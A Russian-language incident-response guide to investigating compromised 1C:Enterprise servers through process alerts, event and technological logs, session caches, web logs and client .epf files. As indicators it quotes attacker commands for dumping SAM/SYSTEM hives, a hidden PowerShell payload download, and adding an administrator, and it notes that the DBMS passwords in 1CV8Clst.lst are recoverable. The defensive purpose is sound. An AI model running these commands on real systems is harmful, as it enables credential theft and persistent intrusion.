С чего начать расследование
При анализе скомпрометированного хоста сначала часто неизвестно, какую роль играла взломанная система. Информацию приходится собирать параллельно с триажем — первичной выгрузкой данных для анализа. На практике данные из системы обычно получают раньше, чем справочную информацию о её назначении.
Расследование может начаться несколькими путями. Системы мониторинга генерируют алерты о подозрительной активности даже в компаниях с развитой защитой. Грамотный мониторинг не только останавливает атаку, но и накапливает данные для последующего разбора.
Подозрительные дочерние процессы
Один из явных признаков взлома 1С — запуск странных дочерних процессов. Например, когда рабочий процесс сервера 1С (C:\Program Files\1cv8\<ver>\bin\rphost.exe) порождает cmd.exe для выполнения команд атакующего.
При расследованиях часто встречались такие сценарии:
Разведка в системе. Атакующий проверяет, куда он попал:
cmd.exe /c whoami
cmd.exe /c systeminfo
cmd.exe /c quser
cmd.exe /c net user
Извлечение учётных данных. Попытки сохранить файлы реестра для получения хэшей паролей:
cmd.exe /c reg.exe save HKLM\SAM sam.save
cmd.exe /c reg.exe save HKLM\SYSTEM system.save
Загрузка вредоноса. Скачивание утилит для проксирования, туннелирования и других инструментов:
cmd.exe /c powershell -WindowStyle hidden Invoke-WebRequest -URI <URL> -outfile <path_to_file>
Закрепление доступа. Создание нового пользователя и добавление его в администраторы:
cmd.exe /c net user <username> <password> /add
cmd.exe /c net localgroup Administrators <username> /add
Поиск 1С по данным файловой системы
Когда данных мониторинга нет, следы использования 1С ищут прямо на диске. Два реальных сценария:
Странные RDP-сессии. На сервере найдены входы от неизвестной локальной учётной записи, созданной недавно и без законного основания. Анализ реестра SAM показывает, что её создавал пользователь, под которым работают сервисы 1С.
Неизвестный владелец файлов. Обнаружены вредоносные файлы, но нет следов RDP-входов. Через атрибуты NTFS можно найти SID (идентификатор безопасности) файла, затем через метаданные файловой системы — узнать владельца. Часто файлы создавала учётная запись сервиса 1С.
Поиск и анализ журнала регистрации 1С
Журнал регистрации содержит информацию о событиях в базе данных в определённый момент. Уровень логирования может быть настроен по-разному. При расследовании интересуют две вещи: как атакующий первый раз получил доступ (учётная запись, время, хост) и что он делал потом.
Форматы журналов
Файлы журнала встречаются в двух форматах:
SQLite-база. Один файл .lgd, который открывается в любом вьювере баз данных.
Набор файлов. Файлы .lgf (общая информация), .lgp (фрагменты), .lgx (индексы). Для анализа нужна платформа 1С — можно использовать комьюнити-лицензию. Откройте .lgf-файл в режиме Конфигуратор.
Журналы обычно находятся по пути C:\Program Files\1cv8\srvinfo\reg_<xxxx>\<yyyy>\1Cv8Log\, где <xxxx> — номер порта сервиса, <yyyy> — GUID базы. Надёжнее искать файлы по расширениям через метаданные файловой системы.
Чтобы связать GUID базы с её реальным именем, обратитесь к файлу 1CV8Clst.lst (или 1CV8Clsto.lst). В нём хранятся и пароли от СУБД, зашифрованные AES с известными ключом и вектором инициализации. Атакующий может использовать эти учётные данные для продвижения дальше.
На что обращать внимание
Начните с поиска событий подключения: «Сеанс. Начало», «Сеанс. Аутентификация» и «Сеанс. Завершение». Они показывают, какой пользователь и с какого компьютера подключался. Внимание: в журнал попадает имя компьютера, но не IP-адрес. Если атакующий работал через туннель, в журнале появится его машина, а не скомпрометированная система.
Между подключением и отключением часто видны действия атакующего. Иногда подключений нет вовсе, но остаются ошибки, указывающие на атаку — например, ошибки при запуске команд через внешнюю обработку.
Маркеры подозрительной активности
Ошибки при загрузке 1С-шелла. Когда атакующий загружает вредоносную внешнюю обработку и выполняет команды, в журнале появляется событие «Ошибка выполнения». Содержимое ошибки может быть непонятным, но сам факт таких ошибок в период инцидента свидетельствует о работе шелла.
Создание дампа базы. В режиме Конфигуратор есть функция выгрузки базы в файл. Если в журнале видны события создания дампа или ошибки при создании во время подключения атакующего — это почти всегда его работа.
Изменение прав пользователей. Атакующий может изменить свойства пользователя, добавив себе необходимые роли и права, например разрешение на запуск внешних обработок.
Попытка изменить логирование. В одном случае атакующий пытался отключить или понизить уровень логирования. Это отразилось ошибкой изменения настроек журнала регистрации — единственной ошибкой за всю сессию.
Подключение без пользователя. Иногда видны подключения к базе с пустым полем пользователя, без аутентификации. Это возможно, если база не имеет механизма проверки учётных данных. Служебные базы 1С для мониторинга по умолчанию могут быть открыты для всех.
Технологический журнал платформы
Технологический журнал фиксирует внутренние события платформы 1С: ошибки, исключения, длительные операции, события администрирования.
Он настраивается в файле logcfg.xml в директории \Program Files\1cv8\conf (или \Program Files\1cv8\<ver>\bin\conf). Там указывают директорию для журналов, какие события логировать и как долго их хранить.
По умолчанию логирование минимально: файлы сохраняются в \Users\<username>\AppData\Local\1C\1cv8\logs, но глубина истории неглубока (обычно не более суток).
События ADMIN регистрируют действия администратора кластера серверов 1С: откуда инициировались подключения к консоли администрирования, когда создавались новые базы. События CONN помогают найти IP-адрес подключившейся машины.
В большинстве расследований технологический журнал либо отключён, либо настроен на минимум. Но если он ведётся, его данные могут быть решающими.
Другие следы на диске
В директории C:\Program Files\1cv8\srvinfo\reg_<xxxx>\snccntx<ID> хранится сеансовый кэш — служебные данные для работы, включая содержимое полей форм. Там можно найти команды, которые атакующий выполнял через 1С-шелл. Данные не читаются напрямую, но утилита strings поможет извлечь текст и найти команды.
Анализ логов веб-сервера
Если база доступна через веб-клиент, журналы доступа веб-сервера — ценный источник информации.
Атакующие часто проводят разведку, перебирая URL. После серии ошибок 404 они получают 200 — найденный URL. Это может быть база 1С.
Начните с поиска успешных обращений к панели входа с подозрительных IP (особенно из сервисов анонимизации).
Затем проверьте GET-запросы к https://<server_ip>/<1C_base_name>/ru_RU/e1cib/users. Успешный запрос означает, что атакующий получил список пользователей, открыв выпадающее меню на форме входа.
И наконец, успешный POST к https://<server_ip>/<1C_base_name>/ru_RU/e1cib/login с кодом 200 — это успешный вход.
Анализ клиентского компьютера
При взломе сервера 1С обычно взломан и клиентский компьютер, с которого подключались к базе. Это может быть машина в той же сети или в инфраструктуре партнёра.
На клиенте ищите подозрительные файлы с расширением .epf (внешние обработки). Откройте найденный файл в режиме Конфигуратор 1С (с комьюнити-лицензией), выберите нужную форму и посмотрите используемый шелл. Затем разберите его код — перейдите к обработчику события нажатия кнопки и прочитайте логику.
Итого
Следы атак на 1С можно обнаружить в данных мониторинга или при анализе скомпрометированного сервера. Ключевые источники — технологический журнал и журнал регистрации 1С. Маркеры подозрительности: странные подключения к консоли администрирования, создание новых баз, ошибки при работе с шеллами, попытки выгрузки баз. Важны также логи веб-сервера, анализ клиентских машин и следы на диске в виде кэшей и временных файлов.
